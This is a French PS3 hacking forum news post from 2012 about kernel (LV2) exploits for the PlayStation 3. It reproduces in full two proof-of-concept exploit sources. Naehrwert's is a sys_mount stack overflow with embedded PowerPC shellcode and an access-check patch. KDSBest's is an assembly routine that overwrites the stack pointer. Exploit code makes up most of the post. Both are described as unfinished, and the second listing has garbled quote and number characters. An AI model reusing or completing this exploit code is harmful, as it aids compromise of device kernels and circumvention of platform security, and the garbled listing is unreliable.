Connexion

[NEWS]Un exploit LV2 par KaKaRoTo et Naehrwert : News - PS3-Infos

[NEWS]Un exploit LV2 par KaKaRoTo et Naehrwert   

Les news du Hack PS3 postées sur PS3 Infos

[NEWS]Un exploit LV2 par KaKaRoTo et Naehrwert

Messagepar Attila » Sam 22 Sep 2012 14:42

imageNaehrwert vient de publier un exploit LV2 découvert initialement par KaKaRoTo. Il est bloqué actuellement et cherche de l'aide pour terminer son exploit.

Image


L'exploit concerne le LV2, et donc nécessite un autre exploit afin d'exécuter le code de cet exploit...
Cet exploit ci permet (une fois fonctionnel) d'exécuter du code LV2 et donc de modifier le firmware (CFW).
Les problèmes actuels :
- La vulnérabilité est dans un syscall protégé (le SELF qui le lance doit avoir le control flag 0X40). Donc il faut d'abord trouver un exploit usermode qui convienne (ne lui demandez pas), qui permet de l'exécution de code avec les bons privilèges.
- Les données du payload sont copiées dans la pile lv2 d'abord puis la fonction va faire un free (libération de la mémoire) dessus avant que le payload n'ait le temps de s'exécuter. Ca pourrait ne pas être un problème mais il semble que l'implémentation de la pile du lv2 va écraser l'espace libéré par 0xABADCAFE et par conséquent détruire le payload.

Voici le code de son implémentation pour le kernel lv2 3.41 (cependant la faille est présente dans tous les lv2, même en dernier firmware). Peut être que quelqu'un va trouver une solution pour le problème, car actuellement, tout ce que ça fait c'est planter le lv2.

Code: Tout sélectionner
/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/

#include <stdio.h>
#include <ppu-types.h>
#include <ppu-lv2.h>

/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
   strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/,
   u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
   lv2syscall8(837, (u64)dev, (u64)fs, (u64)path,
      (u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
   return_to_user_prog(s64);
}

//For testing.
static void patch_access_check()
{
   //check_access @ 0x80000000000505D0
   //li r3, 1 ; blr
   lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
   printf("[*] DEBUG: access check patched.\n");
}

int main(int argc, const char **argv)
{
   //Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
   //Solution: Find a usermode exploit in a SELF that has them set.
   
   //Patch the ctrl flags check for testing.
   patch_access_check();
   
   //Nop.
   char nop[] = "X";
   
   //Payload.
   char payload[] =
   {
      //Insert valid PPC code here (without 0x00 bytes)
      //and hope lv2 heap 0x27 is executable and 0x04 aligned.
      0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
      0x38, 0xE7, 0x01, 0x10, //addi  r7, r7, 0x110
      0x78, 0xE7, 0x83, 0xE4, //sldi  r7, r7, 16
      0x78, 0xE7, 0x07, 0xC6, //sldi  r7, r7, 32
      0x60, 0xE7, 0x91, 0x34, //ori   r7, r7, 0x9134
      0x7C, 0xE9, 0x03, 0xA6, //mtctr r7            ; 0x8000000000009134 (sys_sm_shutdown)
      0x38, 0x60, 0x02, 0x10, //li    r3, 0x210
      0x38, 0x63, 0xFF, 0xF0, //addi  r3, r3, -0x10 ; 0x200 (reboot)
      0x7C, 0x84, 0x22, 0x78, //xor   r4, r4, r4    ; 0
      0x7C, 0xA5, 0x2A, 0x78, //xor   r5, r5, r5    ; 0
      0x7C, 0xC6, 0x32, 0x78, //xor   r6, r6, r6    ; 0
      0x4E, 0x80, 0x04, 0x20, //bctr
      //End of payload.
      0x00
   };
   
   //List containing the entries.
   //stack frame size is 0x1C0
   //strlist = framptr + 0xE0
   //remaining stack frame size is 0xE0 (28 * 8)
   #define LIST_LENGTH (28 + 2 + 1)
   const char *list[LIST_LENGTH] =
   {
      //-0xE0
      //Overwrite stack with nop entries (0xE0 bytes).
      nop, nop, nop, nop, nop, nop, nop, nop, //0x40
      nop, nop, nop, nop, nop, nop, nop, nop, //0x80
      nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
      nop, nop, nop, nop,
      //0x00
      //Fill 0x10 bytes to reach saved r0.
      nop, nop,
      //+0x10
      //Overwrite saved r0 with a pointer to our payload.
      payload
   };
   
   //Doit!
   printf("[*] Taking the plunge...\n");
   s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
   printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);
   
   return 0;
}



KDSBest a écrit sa propre implémentation de l'exploit, et ça marche en 4.20 mais pas 4.21 :
Code: Tout sélectionner

    Since @naehrwert posted an lv2 exploit I will do so too . The stack pointer points to lv2 and if we do a syscall, the syscall saves register to the stack HAHA.  Btw. It just crashes the console for now, since I totaly overwrite dump the lv2 or some memory addresses I don’t know. Feel free to try around, adjust the address of the stackpointer and so on. If you managed to get the panic payload executed. Tell me!!! ^^

    //compile: ppu-gcc kds2.c -o kds2.elf
    //or: ppu-lv2-gcc kds2.c -o kds2.elf

    register unsigned long long payloadHolder2 asm (“r21″);
    register unsigned long long payloadHolder asm (“r20″);
    register unsigned long long stackpointer asm (“r1″);
    register unsigned long long counter asm (“r25″);
    register unsigned long long bufferStackpointer asm (“r26″);

    int __volatile__ main(int argc, const char* argv[])
    {
    // backup Stack pointer
    bufferStackpointer = stackpointer;

    payloadHolder = 0x3960024F3960024FUL;
    payloadHolder2 = 0x4400000244000002UL;

    // Incrementer
    counter = 0×00;

    // Play with that address till the panic is executed, I lack of time todo so
    // add always 2 or 4 to it, i would try 4 or 8… bla bla you will get the idea
    stackpointer = 0x8000000000000100UL;
    doItAgain:
    // KDSBest Payload
    // Prepare for our Syscall

    asm(“li %r0, 0×0″);
    asm(“li %r3, 0×6″);
    asm(“li %r4, 0×1″);
    // li r11, 0x24F -> PANIC
    asm(“mr %r22, %r20″);
    asm(“mr %r23, %r20″);
    asm(“mr %r24, %r20″);
    asm(“mr %r27, %r20″);
    asm(“mr %r28, %r20″);
    asm(“mr %r29, %r20″);
    asm(“mr %r30, %r20″);
    asm(“mr %r31, %r20″);

    // Stack Pointer = Build Address of LV2
    stackpointer += counter;

    // Syscall 0xA9
    asm(“li %r11, 0xA9″);
    asm(“sc”);
    counter += 0×04;

    // We write sc
    asm(“mr %r22, %r21″);
    asm(“mr %r23, %r21″);
    asm(“mr %r24, %r21″);
    asm(“mr %r27, %r21″);
    asm(“mr %r28, %r21″);
    asm(“mr %r29, %r21″);
    asm(“mr %r30, %r21″);
    asm(“mr %r31, %r21″);

    // Stack Pointer = Build Address of LV2
    stackpointer += counter;

    // Syscall 0xA9
    asm(“li %r11, 0xA9″);
    asm(“sc”);
    counter += 0×04;

    if(counter < 0×1000000)
    goto doItAgain;

    stackpointer = bufferStackpointer;
    return 0;
    }

    I didn’t managed to make it work on 4.21 so I just did on 4.20


http://nwert.wordpress.com/2012/09/19/exploiting-lv2/Source : http://nwert.wordpress.com/2012/09/19/exploiting-lv2/
http://www.ps3hax.net/2012/09/another-lv2-exploit-this-time-from-kdsbest/Source : http://www.ps3hax.net/2012/09/another-lv2-exploit-this-time-from-kdsbest/
Avatar de l’utilisateur
Attila
Administrateur du site
 
Messages: 7572
Inscription: Ven 3 Sep 2010 11:53

Retourner vers News

 


  • Articles en relation
    Réponses
    Vues
    Dernier message

Qui est en ligne

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 10 invités